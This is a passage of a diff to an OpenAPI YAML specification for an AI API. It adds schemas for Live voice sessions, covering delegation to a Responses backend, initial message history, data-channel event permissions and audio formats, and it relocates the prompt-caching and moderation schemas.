+ - type: string
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ - type: 'null'
+ action:
+ anyOf:
+ - $ref: '#/components/schemas/ImageGenActionEnum'
+ description: The action used for image generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ background:
+ anyOf:
+ - $ref: '#/components/schemas/ImageBackground'
+ description: The background setting used for generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ output_format:
+ anyOf:
+ - $ref: '#/components/schemas/ImageOutputFormat'
+ description: The output format used for generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ revised_prompt:
+ anyOf:
+ - type: string
+ description: The prompt that was used after any model prompt rewriting.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ - id
+ - status
+ - result
+ title: Image generation call
+ description: An image generation request made by the model.
ClickButtonType:
type: string
enum:
@@ -63672,12 +64313,6 @@ components:
- high
- low
description: Control how much effort the model will exert to match the style and features, especially facial features, of input images. This parameter is only supported for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
- ImageGenActionEnum:
- type: string
- enum:
- - generate
- - edit
- - auto
LocalShellToolParam:
properties:
type:
@@ -65789,255 +66424,856 @@ components:
- input_tokens_details
title: Image generation usage
description: For `gpt-image-1` only, the token usage information for the image generation.
- PublicProjectResidency:
- type: string
- enum:
- - GLOBAL
- - US_STORAGE_PROCESSING
- - EU_STORAGE_PROCESSING
- - JP_STORAGE
- - KR_STORAGE
- - CA_STORAGE
- - SG_STORAGE
- - IN_STORAGE
- - AU_STORAGE
- - GB_STORAGE
- - AE_STORAGE
- - AE_STORAGE_PROCESSING
- SpecificProgrammaticToolCallingParam:
+ instructions:
+ anyOf:
+ - description: Frontend instructions for voice, conversation, interruptions, and when to delegate. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting); put business rules and tool workflows in a separate [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt). Limited to 16,384 client-supplied tokens. Omitted or blank instructions use server defaults. Immutable after startup.
+ type: string
+ - type: 'null'
+ LiveCustomVoiceParam:
+ type: object
properties:
- type:
+ id:
type: string
- enum:
- - programmatic_tool_calling
- description: The tool to call. Always `programmatic_tool_calling`.
- default: programmatic_tool_calling
- x-stainless-const: true
- type: object
+ minLength: 1
+ maxLength: 128
required:
- - type
- SpecificApplyPatchParam:
+ - id
+ LiveInitialSessionAudioOutputParam:
+ description: Settings for speech generated by the Live model. Choose the voice before starting the session.
+ type: object
properties:
- type:
- type: string
- enum:
- - apply_patch
- description: The tool to call. Always `apply_patch`.
- default: apply_patch
- x-stainless-const: true
+ voice:
+ description: The voice used for Live speech, as a built-in voice name or a custom voice object containing its ID. Defaults to `marin` and cannot change after startup.
+ anyOf:
+ - anyOf:
+ - type: string
+ - $ref: '#/components/schemas/LiveBuiltInVoice'
+ - $ref: '#/components/schemas/LiveCustomVoiceParam'
+ required: []
+ LiveClientDelegationParam:
+ description: Delegate tasks to your application. The Live session emits delegation events that your backend handles.
type: object
- required:
- - type
- title: Specific apply patch tool choice
- description: Forces the model to call the apply_patch tool when executing a tool call.
- SpecificFunctionShellParam:
properties:
type:
+ description: The delegation owner. Always `client` for tasks handled by your application.
+ default: client
+ x-stainless-const: true
type: string
enum:
- - shell
- description: The tool to call. Always `shell`.
- default: shell
- x-stainless-const: true
- type: object
+ - client
required:
- type
- title: Specific shell tool choice
- description: Forces the model to call the shell tool when a tool call is required.
- ResponsePromptCacheOptionsParam:
+ LiveResponsesServiceTier:
+ type: string
+ enum:
+ - auto
+ - default
+ - fast_tier_temp_pilot
+ - flex
+ - priority
+ - ultrafast
+ LiveReasoningEffort:
+ type: string
+ enum:
+ - none
+ - minimal
+ - low
+ - medium
+ - high
+ - xhigh
+ LiveReasoningSummary:
+ type: string
+ enum:
+ - concise
+ - detailed
+ - auto
+ LiveDelegationReasoningInputParam:
+ description: Reasoning options for Responses requests made on behalf of the Live session.
+ type: object
properties:
- ttl:
- $ref: '#/components/schemas/PromptCacheTTLEnum'
- description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
- mode:
- $ref: '#/components/schemas/PromptCacheModeEnum'
- description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
- comparison_response_id:
+ effort:
anyOf:
- - type: string
- description: The ID of a response to compare when diagnosing prompt cache reuse. Supplying this field requests prompt cache diagnostics when the feature is enabled.
- example: resp_123
+ - description: How much reasoning effort the delegated Responses model should use. Supported values depend on the backend model.
+ $ref: '#/components/schemas/LiveReasoningEffort'
+ - type: 'null'
+ summary:
+ anyOf:
+ - description: The reasoning summary to request from the delegated Responses model, when supported.
+ $ref: '#/components/schemas/LiveReasoningSummary'
- type: 'null'
- type: object
required: []
- title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
- ReasoningModeEnum:
- anyOf:
- - type: string
- - type: string
- enum:
- - standard
- - pro
- ConversationParam-2:
+ LiveTextVerbosity:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ LiveDelegationTextInputParam:
+ description: Text generation options for the Live session’s Responses backend.
+ type: object
properties:
- id:
- type: string
- description: The unique ID of the conversation.
- example: conv_123
+ verbosity:
+ anyOf:
+ - description: The amount of detail in text generated by the Responses backend. This does not configure the Live model’s spoken delivery.
+ $ref: '#/components/schemas/LiveTextVerbosity'
+ - type: 'null'
+ required: []
+ LiveFunctionToolInputParam:
+ description: A function tool available to the Responses backend when the Live model delegates a task.
type: object
- required:
- - id
- title: Conversation object
- description: The conversation that this response belongs to.
- ContextManagementParam:
properties:
type:
+ description: The tool type. Always `function`.
+ default: function
+ x-stainless-const: true
type: string
- description: The context management entry type. Currently only 'compaction' is supported.
- compact_threshold:
+ enum:
+ - function
+ name:
+ description: The name the delegated Responses model uses when calling this function.
+ type: string
+ description:
anyOf:
- - type: integer
- minimum: 1000
- description: Token threshold at which compaction should be triggered for this entry.
+ - description: What the function does and when the delegated Responses model should call it.
+ type: string
- type: 'null'
- type: object
- required:
- - type
- PromptCacheOptions:
- properties:
- ttl:
- $ref: '#/components/schemas/PromptCacheTTLEnum'
- description: The minimum lifetime applied to each cache breakpoint.
- mode:
- $ref: '#/components/schemas/PromptCacheModeEnum'
- description: Whether implicit prompt-cache breakpoints were enabled.
- comparison_response_id:
+ parameters:
anyOf:
- - type: string
- description: The response ID supplied as the prompt cache diagnostics comparison.
+ - description: A JSON Schema object describing the arguments accepted by the function.
+ type: object
+ additionalProperties: {}
+ - type: 'null'
+ strict:
+ anyOf:
+ - description: Whether the delegated Responses model must follow the function’s parameter schema exactly.
+ type: boolean
- type: 'null'
- type: object
required:
- - ttl
- - mode
- title: Prompt cache options
- description: The prompt-caching options that were applied to the response. Supported for `gpt-5.6` and later models.
- CacheMissReasonTypeEnum:
- type: string
- enum:
- - model_changed
- - prompt_cache_key_changed
- - tools_changed
- - text_format_changed
- - reasoning_effort_changed
- - verbosity_changed
- - context_compacted
- - input_changed
- - service_tier_changed
- PromptCacheMissDiagnosticsBody:
+ - type
+ - name
+ LiveWebSearchToolInputParam:
+ description: A web search tool available to the Live session’s Responses backend.
+ type: object
properties:
type:
+ description: The tool type. Always `web_search`.
+ default: web_search
+ x-stainless-const: true
type: string
enum:
- - cache_miss
- default: cache_miss
- x-stainless-const: true
- reason:
- $ref: '#/components/schemas/CacheMissReasonTypeEnum'
- description: The reason prompt cache reuse did not occur.
- cache_missed_tokens:
- type: integer
- description: The estimated number of input tokens affected after the first detected divergence.
- comparison_reusable_tokens:
- type: integer
- description: The raw token count of the reusable prefix in the compared response.
- type: object
+ - web_search
required:
- type
- - reason
- - cache_missed_tokens
- PromptCacheHitDiagnosticsBody:
+ LiveToolChoiceEnum:
+ type: string
+ enum:
+ - auto
+ - none
+ - required
+ LiveFunctionToolChoiceParam:
+ type: object
properties:
type:
+ default: function
+ x-stainless-const: true
type: string
enum:
- - cache_hit
- default: cache_hit
- x-stainless-const: true
- type: object
+ - function
+ name:
+ type: string
+ minLength: 1
+ maxLength: 64
+ pattern: ^[a-zA-Z0-9_-]+$
required:
- type
- PromptCacheComparisonResponseNotFoundDiagnosticsBody:
+ - name
+ LiveMCPToolChoiceParam:
+ type: object
properties:
type:
+ default: mcp
+ x-stainless-const: true
type: string
enum:
- - comparison_response_not_found
- default: comparison_response_not_found
- x-stainless-const: true
- type: object
+ - mcp
+ server_label:
+ type: string
+ minLength: 1
+ maxLength: 64
+ pattern: ^[a-zA-Z0-9_-]+$
+ name:
+ type: string
+ minLength: 1
+ maxLength: 64
+ pattern: ^[a-zA-Z0-9_-]+$
required:
- type
- PromptCacheUnavailableDiagnosticsBody:
+ - server_label
+ - name
+ LiveResponsesDelegationSettingsInputParam:
+ description: Model, prompt, and tool settings for tasks delegated by the Live session to a Responses backend.
+ type: object
+ properties:
+ model:
+ description: The model used for server-owned Responses delegations.
+ type: string
+ instructions:
+ anyOf:
+ - description: Instructions for the delegated Responses model, separate from Live instructions. See [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ type: string
+ - type: 'null'
+ max_output_tokens:
+ anyOf:
+ - description: Maximum number of output tokens for each delegated response.
+ type: integer
+ minimum: 16
+ - type: 'null'
+ service_tier:
+ anyOf:
+ - description: Service tier for delegated Responses requests.
+ $ref: '#/components/schemas/LiveResponsesServiceTier'
+ - type: 'null'
+ reasoning:
+ anyOf:
+ - description: Reasoning settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationReasoningInputParam'
+ - type: 'null'
+ text:
+ anyOf:
+ - description: Text generation settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationTextInputParam'
+ - type: 'null'
+ tools:
+ description: Tools available to the Responses backend while it handles tasks delegated by the Live model.
+ type: array
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveFunctionToolInputParam'
+ - $ref: '#/components/schemas/LiveWebSearchToolInputParam'
+ tool_choice:
+ description: Controls which tool the Responses backend uses when handling a task delegated by the Live model.
+ anyOf:
+ - $ref: '#/components/schemas/LiveToolChoiceEnum'
+ - $ref: '#/components/schemas/LiveFunctionToolChoiceParam'
+ - $ref: '#/components/schemas/LiveMCPToolChoiceParam'
+ parallel_tool_calls:
+ anyOf:
+ - description: Whether the delegated Responses model may request multiple tool calls in a single response.
+ type: boolean
+ - type: 'null'
+ required:
+ - model
+ LiveResponsesDelegationParam:
+ description: Delegate tasks to a Responses model managed by the Live session.
+ type: object
properties:
type:
+ description: The delegation owner. Always `responses` for tasks handled by the Responses API.
+ default: responses
+ x-stainless-const: true
type: string
enum:
- - unavailable
- default: unavailable
- x-stainless-const: true
- type: object
+ - responses
+ responses:
+ description: Backend model, prompt, and tools used when the Live session delegates a task to Responses.
+ $ref: '#/components/schemas/LiveResponsesDelegationSettingsInputParam'
required:
- type
- PromptCacheDiagnostics:
- discriminator:
- propertyName: type
- description: Prompt cache diagnostics requested for this response.
+ - responses
+ delegation:
anyOf:
- - $ref: '#/components/schemas/PromptCacheMissDiagnosticsBody'
- - $ref: '#/components/schemas/PromptCacheHitDiagnosticsBody'
- - $ref: '#/components/schemas/PromptCacheComparisonResponseNotFoundDiagnosticsBody'
- - $ref: '#/components/schemas/PromptCacheUnavailableDiagnosticsBody'
- ModerationErrorBody:
+ - description: Who handles tasks delegated by the Live model. Omitted or null selects your application; use `responses` to let the API manage a Responses backend.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveClientDelegationParam'
+ - $ref: '#/components/schemas/LiveResponsesDelegationParam'
+ - type: 'null'
+ store:
+ description: Whether to store the session for later forking and recording download. Defaults to false for new sessions.
+ type: boolean
+ LiveInitialMessageStatus:
+ type: string
+ enum:
+ - incomplete
+ - completed
+ LiveInitialInputTextContentPartParam:
+ description: Text supplied in a developer or user message when starting a Live session.
+ type: object
properties:
type:
- type: string
- enum:
- - error
- description: The object type, which was always `error` for moderation failures.
- default: error
+ description: The text content type. Always `input_text`.
+ default: input_text
x-stainless-const: true
- code:
type: string
- description: The error code.
- message:
+ enum:
+ - input_text
+ text:
+ description: The message text to include in the Live session’s initial conversation history.
type: string
- description: The error message.
- type: object
required:
- - type
- - code
- - message
- title: Moderation error
- description: An error produced while attempting moderation for the response input or output.
- Moderation:
- properties:
- input:
- discriminator:
- propertyName: type
- description: Moderation for the response input.
- anyOf:
- - $ref: '#/components/schemas/ModerationResultBody'
- - $ref: '#/components/schemas/ModerationErrorBody'
- output:
- discriminator:
- propertyName: type
- description: Moderation for the response output.
- anyOf:
- - $ref: '#/components/schemas/ModerationResultBody'
- - $ref: '#/components/schemas/ModerationErrorBody'
+ - text
+ LiveInitialDeveloperMessageItemParam:
+ description: A developer message included in the initial text history of a Live session.
type: object
- required:
- - input
- - output
- title: Moderation
- description: Moderation results or errors for the response input and output.
- ResponseConversation:
properties:
id:
+ anyOf:
+ - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
+ type: string
+ - type: 'null'
+ type:
+ description: The history item type. Always `message`.
+ default: message
+ x-stainless-const: true
type: string
- description: The unique ID of the conversation that this response was associated with.
+ enum:
+ - message
+ status:
+ anyOf:
+ - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
+ $ref: '#/components/schemas/LiveInitialMessageStatus'
+ - type: 'null'
+ role:
+ description: The author of this history message. Always `developer`.
+ default: developer
+ x-stainless-const: true
+ type: string
+ enum:
+ - developer
+ content:
+ description: The message content. Supply exactly one text part for the initial Live conversation history.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialInputTextContentPartParam'
+ minItems: 1
+ maxItems: 1
+ required:
+ - role
+ - content
+ LiveInitialUserMessageItemParam:
+ description: A user message included in the initial text history of a Live session.
+ type: object
+ properties:
+ id:
+ anyOf:
+ - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
+ type: string
+ - type: 'null'
+ type:
+ description: The history item type. Always `message`.
+ default: message
+ x-stainless-const: true
+ type: string
+ enum:
+ - message
+ status:
+ anyOf:
+ - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
+ $ref: '#/components/schemas/LiveInitialMessageStatus'
+ - type: 'null'
+ role:
+ description: The author of this history message. Always `user`.
+ default: user
+ x-stainless-const: true
+ type: string
+ enum:
+ - user
+ content:
+ description: The message content. Supply exactly one text part for the initial Live conversation history.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialInputTextContentPartParam'
+ minItems: 1
+ maxItems: 1
+ required:
+ - role
+ - content
+ LiveInitialTextContentPartParam:
+ description: Assistant text supplied as conversation history when starting a Live session.
+ type: object
+ properties:
+ type:
+ description: The text content type. Always `text`.
+ default: text
+ x-stainless-const: true
+ type: string
+ enum:
+ - text
+ text:
+ description: The message text to include in the Live session’s initial conversation history.
+ type: string
+ required:
+ - text
+ LiveInitialOutputTextContentPartParam:
+ description: Assistant output text supplied as conversation history when starting a Live session.
+ type: object
+ properties:
+ type:
+ description: The text content type. Always `output_text`.
+ default: output_text
+ x-stainless-const: true
+ type: string
+ enum:
+ - output_text
+ text:
+ description: The message text to include in the Live session’s initial conversation history.
+ type: string
+ required:
+ - type
+ - text
+ LiveInitialAssistantMessageItemParam:
+ description: An assistant message included in the initial text history of a Live session.
+ type: object
+ properties:
+ id:
+ anyOf:
+ - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
+ type: string
+ - type: 'null'
+ type:
+ description: The history item type. Always `message`.
+ default: message
+ x-stainless-const: true
+ type: string
+ enum:
+ - message
+ status:
+ anyOf:
+ - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
+ $ref: '#/components/schemas/LiveInitialMessageStatus'
+ - type: 'null'
+ role:
+ description: The author of this history message. Always `assistant`.
+ default: assistant
+ x-stainless-const: true
+ type: string
+ enum:
+ - assistant
+ content:
+ description: The message content. Supply exactly one text part for the initial Live conversation history.
+ type: array
+ items:
+ discriminator:
+ propertyName: type
+ x-oai-default-discriminator-value: text
+ anyOf:
+ - $ref: '#/components/schemas/LiveInitialTextContentPartParam'
+ - $ref: '#/components/schemas/LiveInitialOutputTextContentPartParam'
+ minItems: 1
+ maxItems: 1
+ required:
+ - role
+ - content
+ LiveInitialItem:
+ description: A developer, user, or assistant message supplied as text history before the Live session starts.
+ discriminator:
+ propertyName: role
+ anyOf:
+ - $ref: '#/components/schemas/LiveInitialDeveloperMessageItemParam'
+ - $ref: '#/components/schemas/LiveInitialUserMessageItemParam'
+ - $ref: '#/components/schemas/LiveInitialAssistantMessageItemParam'
+ input:
+ description: Ordered text-only history supplied before startup. Supports developer, user, and assistant messages with one text part each; at most 128 messages and 8,192 rendered tokens in total.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialItem'
+ maxItems: 128
+ LiveAllowedServerEventParam:
+ description: A Live server event selector for the WebRTC frontend data channel.
+ example:
+ type: session.started
+ type: object
+ properties:
+ type:
+ description: The outer Live server event type. Use 'response.event' for Responses events.
+ type: string
+ minLength: 1
+ maxLength: 256
+ response_event:
+ description: The nested Responses event type. Required when type is 'response.event'; forbidden for other event types.
+ type: string
+ minLength: 1
+ maxLength: 256
+ required:
+ - type
+ additionalProperties: false
+ x-oaiMeta:
+ example:
+ type: session.started
+ LiveDataChannelConfigParam:
+ description: Control which Live events an untrusted WebRTC frontend can send and receive over its data channel. These restrictions do not apply to trusted sideband connections.
+ type: object
+ properties:
+ allowed_client_events:
+ description: Client event types that the frontend data channel may send. Use 'all' to allow every client event; an empty array allows none. Omission preserves the existing allow-all behavior.
+ anyOf:
+ - default: all
+ x-stainless-const: true
+ type: string
+ enum:
+ - all
+ - type: array
+ items:
+ description: A Live client event type allowed on the frontend data channel, such as `session.input_audio.mute`.
+ type: string
+ minLength: 1
+ maxLength: 256
+ pattern: ^(?:error|info|[a-z][a-z0-9_-]*(?:\.[a-z0-9_-]+)+)$
+ maxItems: 256
+ allowed_server_events:
+ description: Server events that may be sent to the frontend data channel. Use 'all' to allow every server event; an empty array allows none. Omission preserves the existing allow-all behavior. Responses events use an object with type 'response.event' and a response_event selector.
+ anyOf:
+ - default: all
+ x-stainless-const: true
+ type: string
+ enum:
+ - all
+ - type: array
+ items:
+ $ref: '#/components/schemas/LiveAllowedServerEventParam'
+ maxItems: 256
+ x-stainless-variantName: event_selectors
+ required: []
+ LiveClientConfigParam:
+ description: Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
+ type: object
+ properties:
+ data_channel:
+ description: Client and server event permissions for the WebRTC frontend data channel.
+ $ref: '#/components/schemas/LiveDataChannelConfigParam'
+ required:
+ - data_channel
+ properties-store:
+ description: Whether to store the forked session. Omission inherits the stored session's setting.
+ type: boolean
+ LiveResponsesDelegationSettingsUpdateInputParam:
+ description: Updates to the Responses backend of an existing Live session. Omitted settings retain their current values.
+ type: object
+ properties:
+ model:
+ description: The Responses backend model to use for subsequent delegated requests. Omit to keep the current backend model.
+ type: string
+ instructions:
+ anyOf:
+ - description: Instructions for the delegated Responses model, separate from Live instructions. See [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ type: string
+ - type: 'null'
+ max_output_tokens:
+ anyOf:
+ - description: Maximum number of output tokens for each delegated response.
+ type: integer
+ minimum: 16
+ - type: 'null'
+ service_tier:
+ anyOf:
+ - description: Service tier for delegated Responses requests.
+ $ref: '#/components/schemas/LiveResponsesServiceTier'
+ - type: 'null'
+ reasoning:
+ anyOf:
+ - description: Reasoning settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationReasoningInputParam'
+ - type: 'null'
+ text:
+ anyOf:
+ - description: Text generation settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationTextInputParam'
+ - type: 'null'
+ tools:
+ description: Tools available to the Responses backend while it handles tasks delegated by the Live model.
+ type: array
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveFunctionToolInputParam'
+ - $ref: '#/components/schemas/LiveWebSearchToolInputParam'
+ tool_choice:
+ description: Controls which tool the Responses backend uses when handling a task delegated by the Live model.
+ anyOf:
+ - $ref: '#/components/schemas/LiveToolChoiceEnum'
+ - $ref: '#/components/schemas/LiveFunctionToolChoiceParam'
+ - $ref: '#/components/schemas/LiveMCPToolChoiceParam'
+ parallel_tool_calls:
+ anyOf:
+ - description: Whether the delegated Responses model may request multiple tool calls in a single response.
+ type: boolean
+ - type: 'null'
+ required: []
+ LiveResponsesDelegationUpdateParam:
+ description: Update the Responses backend for an existing Live session without changing delegation ownership.
+ type: object
+ properties:
+ type:
+ description: The delegation owner. Always `responses` for tasks handled by the Responses API.
+ default: responses
+ x-stainless-const: true
+ type: string
+ enum:
+ - responses
+ responses:
+ description: Responses backend settings to update. Omitted settings keep their existing values.
+ $ref: '#/components/schemas/LiveResponsesDelegationSettingsUpdateInputParam'
+ required:
+ - type
+ target_uri:
+ type: string
+ description: |-
+ URI that should appear in the SIP Refer-To header. Supports values like
+ `tel:+14155550123` or `sip:agent@example.com`.
+ example: tel:+14155550123
+ PublicProjectResidency:
+ type: string
+ enum:
+ - GLOBAL
+ - US_STORAGE_PROCESSING
+ - EU_STORAGE_PROCESSING
+ - JP_STORAGE
+ - KR_STORAGE
+ - CA_STORAGE
+ - SG_STORAGE
+ - IN_STORAGE
+ - AU_STORAGE
+ - GB_STORAGE
+ - AE_STORAGE
+ - AE_STORAGE_PROCESSING
+ SpecificProgrammaticToolCallingParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - programmatic_tool_calling
+ description: The tool to call. Always `programmatic_tool_calling`.
+ default: programmatic_tool_calling
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ SpecificApplyPatchParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - apply_patch
+ description: The tool to call. Always `apply_patch`.
+ default: apply_patch
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ title: Specific apply patch tool choice
+ description: Forces the model to call the apply_patch tool when executing a tool call.
+ SpecificFunctionShellParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - shell
+ description: The tool to call. Always `shell`.
+ default: shell
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ title: Specific shell tool choice
+ description: Forces the model to call the shell tool when a tool call is required.
+ ResponsePromptCacheOptionsParam:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/PromptCacheTTLEnum'
+ description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
+ mode:
+ $ref: '#/components/schemas/PromptCacheModeEnum'
+ description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The ID of a response to compare when diagnosing prompt cache reuse. Supplying this field requests prompt cache diagnostics when the feature is enabled.
+ example: resp_123
+ - type: 'null'
+ type: object
+ required: []
+ title: Prompt cache options
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
+ ReasoningModeEnum:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - standard
+ - pro
+ ConversationParam-2:
+ properties:
+ id:
+ type: string
+ description: The unique ID of the conversation.
+ example: conv_123
+ type: object
+ required:
+ - id
+ title: Conversation object
+ description: The conversation that this response belongs to.
+ ContextManagementParam:
+ properties:
+ type:
+ type: string
+ description: The context management entry type. Currently only 'compaction' is supported.
+ compact_threshold:
+ anyOf:
+ - type: integer
+ minimum: 1000
+ description: Token threshold at which compaction should be triggered for this entry.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ PromptCacheOptions:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/PromptCacheTTLEnum'
+ description: The minimum lifetime applied to each cache breakpoint.
+ mode:
+ $ref: '#/components/schemas/PromptCacheModeEnum'
+ description: Whether implicit prompt-cache breakpoints were enabled.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The response ID supplied as the prompt cache diagnostics comparison.
+ - type: 'null'
+ type: object
+ required:
+ - ttl
+ - mode
+ title: Prompt cache options
+ description: The prompt-caching options that were applied to the response. Supported for `gpt-5.6` and later models.
+ CacheMissReasonTypeEnum:
+ type: string
+ enum:
+ - model_changed
+ - prompt_cache_key_changed
+ - tools_changed
+ - text_format_changed
+ - reasoning_effort_changed
+ - verbosity_changed
+ - context_compacted
+ - input_changed
+ - service_tier_changed
+ PromptCacheMissDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - cache_miss
+ default: cache_miss
+ x-stainless-const: true
+ reason:
+ $ref: '#/components/schemas/CacheMissReasonTypeEnum'
+ description: The reason prompt cache reuse did not occur.
+ cache_missed_tokens:
+ type: integer
+ description: The estimated number of input tokens affected after the first detected divergence.
+ comparison_reusable_tokens:
+ type: integer
+ description: The raw token count of the reusable prefix in the compared response.
+ type: object
+ required:
+ - type
+ - reason
+ - cache_missed_tokens
+ PromptCacheHitDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - cache_hit
+ default: cache_hit
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheComparisonResponseNotFoundDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - comparison_response_not_found
+ default: comparison_response_not_found
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheUnavailableDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - unavailable
+ default: unavailable
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheDiagnostics:
+ discriminator:
+ propertyName: type
+ description: Prompt cache diagnostics requested for this response.
+ anyOf:
+ - $ref: '#/components/schemas/PromptCacheMissDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheHitDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheComparisonResponseNotFoundDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheUnavailableDiagnosticsBody'
+ ModerationErrorBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - error
+ description: The object type, which was always `error` for moderation failures.
+ default: error
+ x-stainless-const: true
+ code:
+ type: string
+ description: The error code.
+ message:
+ type: string
+ description: The error message.
+ type: object
+ required:
+ - type
+ - code
+ - message
+ title: Moderation error
+ description: An error produced while attempting moderation for the response input or output.
+ Moderation:
+ properties:
+ input:
+ discriminator:
+ propertyName: type
+ description: Moderation for the response input.
+ anyOf:
+ - $ref: '#/components/schemas/ModerationResultBody'
+ - $ref: '#/components/schemas/ModerationErrorBody'
+ output:
+ discriminator:
+ propertyName: type
+ description: Moderation for the response output.
+ anyOf:
+ - $ref: '#/components/schemas/ModerationResultBody'
+ - $ref: '#/components/schemas/ModerationErrorBody'
+ type: object
+ required:
+ - input
+ - output
+ title: Moderation
+ description: Moderation results or errors for the response input and output.
+ ResponseConversation:
+ properties:
+ id:
+ type: string
+ description: The unique ID of the conversation that this response was associated with.
type: object
required:
- id
@@ -68560,6 +69796,1706 @@ components:
- y
title: Coordinate
description: 'An x/y coordinate pair, e.g. `{ x: 100, y: 200 }`.'
+ LiveSessionAudioFormatPCMParam:
+ description: Raw, mono 16-bit little-endian PCM audio for a Live WebSocket connection.
+ type: object
+ properties:
+ type:
+ description: The audio encoding. Always `audio/pcm`.
+ default: audio/pcm
+ x-stainless-const: true
+ type: string
+ enum:
+ - audio/pcm
+ rate:
+ description: Audio sample rate in hertz. Live WebSocket PCM audio supports 16000 or 24000 Hz.
+ type: integer
+ minimum: 16000
+ maximum: 24000
+ enum:
+ - 16000
+ - 24000
+ required:
+ - type
+ - rate
+ LiveSessionAudioFormatPCMUParam:
+ description: Raw, mono G.711 μ-law audio for a Live WebSocket connection.
+ type: object
+ properties:
+ type:
+ description: The audio encoding. Always `audio/pcmu`.
+ default: audio/pcmu
+ x-stainless-const: true
+ type: string
+ enum:
+ - audio/pcmu
+ rate:
+ description: Audio sample rate in hertz. G.711 audio uses 8000 Hz.
+ type: integer
+ minimum: 8000
+ maximum: 8000
+ required:
+ - type
+ - rate
+ LiveSessionAudioFormatPCMAParam:
+ description: Raw, mono G.711 A-law audio for a Live WebSocket connection.
+ type: object
+ properties:
+ type:
+ description: The audio encoding. Always `audio/pcma`.
+ default: audio/pcma
